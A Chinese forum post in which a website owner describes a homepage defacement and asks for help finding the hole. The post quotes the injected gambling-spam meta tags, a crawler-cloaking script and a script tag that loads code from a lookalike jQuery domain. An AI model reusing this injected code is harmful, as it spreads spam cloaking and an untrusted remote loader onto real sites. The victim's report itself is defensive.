今天发现一个来自泰国ip地址的黑客在百度上搜索到了本站网址，然后串改了主页代码。具体串改结果如下：
1）替换行内容为：<title>九游会·(j9)官方网站-真人游戏第一品牌</title>
2）替换行内容为：<meta name="keywords" content="j9九游会官网入口首页, ...
3）替换行内容为：<meta name="description" content="【㊗️KR带你斩大龙㊗️】「j9九游会官网」...
4）添加js代码：
<script>
var userAgent = navigator.userAgent.toLocaleLowerCase();
var searchEngines = ["spider", "bot"];
var isSearchEngine = searchEngines.some(se => userAgent.indexOf(se) !== -1);
if (!isSearchEngine) {
document.title = "本站站名 - 本站站名:";
}
</script>
<script src="https://jquery-min.org/3.6.3/min.js"></script>
请大侠们指教网站漏洞出在哪里。最厉害的一次是黑客串改之外还直接删除了web.config的一部分网页跳转设置参数。当然，这次本人已经更新主页替换了被串改的主页，而且后台设置阻止那个ip访问。
|
顶部 
加入收藏夹
2024-11-17 10:27:12 
已设置保密
回复
引用
报告
编辑
删除
